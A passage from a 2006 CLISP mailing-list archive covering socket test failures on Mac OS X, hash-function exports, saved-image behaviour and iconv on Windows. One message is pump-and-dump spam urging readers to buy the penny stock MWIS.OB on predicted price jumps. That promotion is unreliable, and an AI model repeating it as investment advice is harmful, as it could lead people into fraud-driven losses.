#P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-21.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-20.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-19.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-18.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-17.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-16.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-15.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-14.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-13.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-12.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-11.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-10.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-7.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-0.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq.html") [14]> (defparameter *faqbase* #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/") *FAQBASE* [15]> (directory (make-pathname :directory '(:relative :wild-inferiors) :name "faq-doc-*" :type "html" :defaults *faqbase*)) (#P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-8.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-7.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-6.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-5.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-4.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-3.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-2.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-1.html" #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-0.html") [16]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.35 (2005-08-29) (built 3338094313) (memory 3338094805)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:ASDF-INSTALL :SPLIT-SEQUENCE :COM.INFORMATIMAGO.PJB :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) -- __Pascal Bourguignon__ http://www.informatimago.com/ ADVISORY: There is an extremely small but nonzero chance that, through a process known as "tunneling," this product may spontaneously disappear from its present location and reappear at any random place in the universe, including your neighbor's domicile. The manufacturer will not be responsible for any damages or inconveniences that may result. From dvstarr@earthlink.net Sun Jan 15 07:28:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ey9o9-0002Gt-IL for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 07:28:41 -0800 Received: from pop-tawny.atl.sa.earthlink.net ([207.69.195.67]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ey9o9-0002ex-Bv for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 07:28:41 -0800 Received: from dialup-4.245.149.181.dial1.stamford1.level3.net ([4.245.149.181]) by pop-tawny.atl.sa.earthlink.net with esmtp (Exim 3.36 #10) id 1Ey9o3-0003t3-00 for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 10:28:35 -0500 Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Dan Starr To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Re: Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 15 07:29:04 2006 X-Original-Date: Sun, 15 Jan 2006 10:28:37 -0500 On 2006 Jan 13, at 12:21 PM, Sam Steingold wrote: >> * Dan Starr [2006-01-13 10:25:43 -0500]: >> >> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address > > it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile > lisp.run (no need to re-dump lispinit.mem) and run > ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test > "tests/socket")' > and send the output here. thanks. > > see also > http://sourceforge.net/tracker/index.php? > func=detail&aid=1399376&group_id=1355&atid=101355 > > please also try the appended patch. > thanks. > Sam, Not quite an accomplished enough UNIX freak to deftly use the patches, but thanks. I looked at the SourceForge web-page and see that thought has already been given to this problem. I did, however, while out for lunch, rebuild using ./configure --without-dynamic-ffi --with-debug and got only six of the errors this time. The diminished sockets.erg file follows ... ========= ~/languages/clisp-2.37/darwin/tests: cat socket.erg Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*)) CORRECT: #\a CLISP : ERROR UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address OUT: "[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address " Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T)) CORRECT: T CLISP : ERROR SOCKET-STREAM-LOCAL: argument #1=# is not an open SOCKET-STREAM OUT: "[SIMPLE-TYPE-ERROR]: SOCKET-STREAM-LOCAL: argument #1=# is not an open SOCKET-STREAM " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :INPUT CLISP : ERROR SOCKET-STATUS: argument #1=# is not an open stream OUT: "[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=# is not an open stream " Form: (READ-CHAR *SOCKET-2*) CORRECT: #\a CLISP : ERROR READ-CHAR on #1=# is illegal OUT: "[SIMPLE-STREAM-ERROR]: READ-CHAR on #1=# is illegal " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: NIL CLISP : ERROR SOCKET-STATUS: argument #1=# is not an open stream OUT: "[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=# is not an open stream " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :EOF CLISP : ERROR SOCKET-STATUS: argument #1=# is not an open stream OUT: "[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=# is not an open stream " ~/languages/clisp-2.37/darwin/tests: From wmmxhnxjyemf@farstrider.org Sun Jan 15 08:49:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyB4G-0005BC-Uo for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 08:49:24 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EyB4E-00058d-8X for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 08:49:24 -0800 Received: from [203.101.122.76] (helo=dsl.MP.076.122.101.203.touchtelindia.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1EyAVK-0006r0-96 for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 08:13:19 -0800 Received: from [192.168.5.49] (port=16304 helo=kprxgkti) by dsl.MP.076.122.101.203.touchtelindia.net with esmtp id 1EwWBn-0009G6-QA for clisp-list@lists.sourceforge.net; Wed, 11 Jan 2006 08:28:19 +0530 From: Isolde Fry X-Mailer: The Bat! (v3.5) Business Reply-To: Isolde Fry X-Priority: 3 (Normal) Message-ID: <28061200883.20060111082632@farstrider.org> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP) 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.4 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) Subject: [clisp-list] Jan 17, 2006 Press Release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 15 08:50:04 2006 X-Original-Date: Wed, 11 Jan 2006 08:26:32 +0530 After announcing they cleaned $1,000,000.00 worth of debt off their books, investors start rally !! **INVESTOR WATCH ISSUED FOR TUESDAY 17th, BIG MOVE COULD HAPPEN** SYMBOL: MWIS.OB Friday Close: $0.165 Friday Volume: 120,000 Short Term: $0.50 - $0.75 Long Term: $1.50 - $1.75 With Volume up and the forward movement of this great company, we believe we will see HUGE increase in price tuesday. Get your buy in first thing and get what you can before it climbs. Be sure you read the release below and comments from the Diector of Syntek Capital, then, get on MWIS first thing Tuesday Morning! Past Venture Capital Investor Agreed to Waive Old Debt in Exchange for Restricted Shares Jan 9, 2006 8:14:00 AM m-Wise, Inc. (OTCBB:MWIS), a leading technology provider of mobile content solutions for operators, ASPs and content providers, today announced that venture capital firm Syntek Capital, A.G. has entered into a termination and release agreement converting $1 million of debt to m-Wise common stock. Under the terms of the agreement, m-Wise will issue a minimum of 5,561,994 shares of common stock in exchange for terminating m-Wise's 3.5 year-old debt to Syntek Capital. The conversion of this debt was for restricted shares at market value with no discount relative to the 30 days average trading price of the common stock. Furthermore, m-Wise will issue Syntek a warrant of 5,263,158 shares of common stock at an exercise price of $0.19 per share, which can be exercised for up to a period of three years. Shay Ben-Asulin, chairman of m-Wise said, "We are very happy that a strategic investor like Syntek Capital saw the opportunity in our current stock price and took a long-term position in m-Wise. The management of m-Wise believes that increasing our shareholder's equity, coupled with completing several business transactions shortly, will result in excellent return to Syntek and all our shareholders." Ronni Benatoff, director of Syntek Capital said, "We are pleased to begin the New Year confirming our support to m-Wise. Syntek Capital has a strategy to investing only in companies with solid core and sustainable businesses. We have long recognized the potential of m-Wise's technology and believe in its future growth potential." ..Whatever you do WATCH MWIS... From zellerin@gmail.com Sun Jan 15 23:30:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyOoz-0006Py-7S for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 23:30:33 -0800 Received: from zproxy.gmail.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyOow-0006PM-Sb for clisp-list@lists.sourceforge.net; Sun, 15 Jan 2006 23:30:33 -0800 Received: by zproxy.gmail.com with SMTP id z3so978330nzf for ; Sun, 15 Jan 2006 23:30:29 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=bH2kOKsCX6RdAaMAiHBi9BxgP9xiLAWL1CbfbNWY+i/cCdSHQ8HiyiXAFuzFku4v3A+jXsg8Gtsd6lqKgsT4e5+KYE+RM84iMdrcsBbaoJ8LnSWHR135zav1GnNTLGUpSoq1Zpn/vrDmyvMdPwe8mRHQcr/La7WK7NMlAhUHyKc= Received: by 10.37.12.45 with SMTP id p45mr1523103nzi; Sun, 15 Jan 2006 23:30:29 -0800 (PST) Received: by 10.36.222.42 with HTTP; Sun, 15 Jan 2006 23:30:29 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] export of *eq-hashfunction* and friends Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 15 23:31:01 2006 X-Original-Date: Mon, 16 Jan 2006 08:30:29 +0100 Hello, are *eq-hashfunction* and its eql and equal counterparts supposed to be exported from ext package (as indicated in implementation notes) or not (as in reality - 2.37)? Regards, Tomas From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 16 01:23:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyQa0-0002Fh-76 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 01:23:12 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyQZz-0004qI-I9 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 01:23:12 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 10:22:45 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 16 Jan 2006 10:22:44 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307D76767@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] What should survive restarting from an image? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 01:24:02 2006 X-Original-Date: Mon, 16 Jan 2006 10:22:33 +0100 Hi, I was pointed by the CFFI people to the fact that callback pointers do not survive restarting from a saved image. I said "you cannot expect pointers to be kept when restarting a new Lisp. All addresses may have changed." More than 10 years ago, I pointed Bruno Haible to the fact that the # object typically bound to *terminal-io*, when recovered from an image, would not be usable anymore (it even crashed back then IIRC). (setq foo *terminal-io*) (ext:saveinitmem "foo.mem") clisp -K foo.mem foo -> #<#CLOSED terminal-stream> (eq foo *terminal-io*) -> nil I've always thought that it would have been nicer if the same *terminal-io* object could have been used across sessions (less surprises to the user). However I understand that currently, that object takes different shapes, depending on whether I/O has been redirected. It could also be a two-way-stream with a buffered file as input and output. Is that enough reason for a different object in each session, or could that issue be resolved by making *terminal-io* a synonym stream to another, clisp internal stream object that would depend on how clisp was started? Then applications could safely store away the *terminal-io* object and work across images. So these days, I face an IMHO similar situation. I looked closer at that callback issue, and discovered that CLISP could, in principle, do the following: + Lisp-visible # # (funcall foo 2) (ext:saveinitmem"foo.mem") foo -> # Instead, I could change that behaviour in the new image to lead to foo -> # Note how the address changed, but the object is valid again, and (funcall foo 3) works as expected. Yet I repeat: Don't call the old address AAAAAAAA in the new session! Any I wonder: why should I change clisp's behaviour in the seemingly obscure callback area, when it doesn't even preserve a presumably simple thing like *terminal-io* What should survive restarting from a Lisp image? Comments welcome, Jorg Hohle. From sds@gnu.org Mon Jan 16 07:36:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyWOy-00033R-Hx for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:36:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyWOu-0005TQ-PO for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:36:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0GFZg8T006157; Mon, 16 Jan 2006 10:35:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <7b8eab2ad49642161dacdda1f499bcc8@lysator.liu.se> (Lennart Staflin's message of "Sat, 14 Jan 2006 16:11:56 +0100") References: <1F947A46-04B4-4AFF-9396-BC781196EB74@mac.com> <7b8eab2ad49642161dacdda1f499bcc8@lysator.liu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: attn Mac OS X users Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 07:37:03 2006 X-Original-Date: Mon, 16 Jan 2006 10:34:49 -0500 > * Lennart Staflin [2006-01-14 16:11:56 +0100]: > >> (socket.tst is a recent addition, this is probably the reason this has >> not been reported before.) > > I tried running (run-test "socket") in clisp 2.36 on MacOS X. > > RUN-TEST: finished "socket" (0 errors out of 58 tests) good. now, we need to figure out which change causes the bug. The prime suspect is the 2005-12-19 patch by Tomas Zellerin that added :INTERFACE and :BACKLOG to SOCKET-SERVER. If that is not the case, a simple binary search in the CVS will do the job. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.openvotingconsortium.org http://www.iris.org.il http://www.jihadwatch.org http://www.honestreporting.com Bus error -- driver executed. From sds@gnu.org Mon Jan 16 07:38:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyWRU-0003GC-9N for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:38:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyWRL-0007m7-8K for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:38:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0GFcC6C006234; Mon, 16 Jan 2006 10:38:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43C95457.7000506@tut.by> (Yaroslav Kavenchuk's message of "Sat, 14 Jan 2006 21:43:19 +0200") References: <8xtlp0iv.fsf@netscape.net> <43C78CFA.8000504@jenty.by> <43C95457.7000506@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: utf-16 on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 07:39:07 2006 X-Original-Date: Mon, 16 Jan 2006 10:37:21 -0500 > * Yaroslav Kavenchuk [2006-01-14 21:43:19 +0200]: > > Sam Steingold wrote: > >>2005-05-28 Bruno Haible >> >> Make it possible to use iconv() on platforms other than Unix. Fixes >> 2005-03-01 patch. >> * lispbibl.d (ANSIC_error): New declaration. >> * errunix.d [!UNIX]: Define only OS_error. >> * error.d [!UNIX]: Include errunix.c, to define ANSIC_error. >> * stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs) >> (iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini): >> Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error. >> * makemake.in (ERROR_INCLUDES): Add errunix unconditionally. >> >> * win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on >> mingw). >> >> >>I think that if the mingw configure process discovers a working iconv, >>it will be used. >> >> > Yes, it works! > But, remove, please, from win32.d next lines: > > /* Character set conversion: */ > /* Yaroslav Kavenchuk reports some problems with iconv(), either due to > incorrect builds of libiconv or to missing support in makemake.in. So > disable it. */ > #undef HAVE_ICONV are you saying that if you remove this line, you can build clisp with libiconv and it does not crash? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.dhimmi.com http://www.mideasttruth.com http://www.camera.org http://www.iris.org.il http://www.memri.org There is Truth, and its value is T. Or just non-NIL. So 0 is True! From kavenchuk@jenty.by Mon Jan 16 07:41:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyWUA-0003UE-E2 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:41:34 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyWU9-0000p2-33 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:41:34 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQK3C9; Mon, 16 Jan 2006 17:43:04 +0200 Message-ID: <43CBBF11.1050802@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: utf-16 on windows? References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 07:42:03 2006 X-Original-Date: Mon, 16 Jan 2006 17:43:13 +0200 Sam Steingold wrote: > are you saying that if you remove this line, you can build clisp with > libiconv and it does not crash? > Yes. -- WBR, Yaroslav Kavenchuk From sds@gnu.org Mon Jan 16 07:42:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyWUt-0003Wh-Ow for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:42:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyWUr-0007ep-OY for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 07:42:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0GFfgNJ006415; Mon, 16 Jan 2006 10:41:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dan Starr Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dan Starr's message of "Sun, 15 Jan 2006 10:28:37 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dan Starr Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) 